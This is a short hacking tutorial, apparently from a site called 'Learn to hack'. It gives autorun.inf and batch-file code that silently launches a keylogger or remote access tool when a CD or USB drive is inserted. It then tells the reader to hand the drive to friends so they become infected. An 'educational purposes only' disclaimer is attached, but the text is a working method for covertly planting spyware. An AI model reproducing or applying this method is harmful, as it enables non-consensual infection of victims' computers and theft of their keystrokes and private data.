Q) Why it is used?
A) It is generally used to execute files automatically whenever a Cd/Usb is inserted.It can also change the icon of the usb/cd drive .
Steps:-
1) Creating autorun.inf :-
1.a)Open notepad and copy the followig code to it.
[autorun]
open=autorun.bat
icon=anything.ico
Here autorun.bat is the file we want to execute when our Cd/Usb is inserted.
Anything.ico is the name of icon file we want to set to our Cd/Usb drive.
2) Creating autorun.bat :-
2.a)Copy the following code [Edit it accordingly]
@echo off
start /location of the keylogger/rat
Ex 1 :- if keylogger/rat is saved in a folder named rishabh which is present in the root directory of CD/USb . Then the code should be like this
@echo off
start rishabh/keylogger.exe
Ex 2:- If the keylogger/rat is present in the root directory then code should be like this :-
@echo off
start keylogger.exe
2.b)Save it as autorun.bat and place it in the root directory of the CD/USB.
3) Give this CD/Usb to your friends and when they will insert this in their systems, the will be infected with your keylogger/rat.
NOTE:-This tutorial is for educational purposes only,Use at your own risk.
Learn to hack is not responsible for any type of loss caused due to this information!
For more Tutorials like these visit Learn to hack :-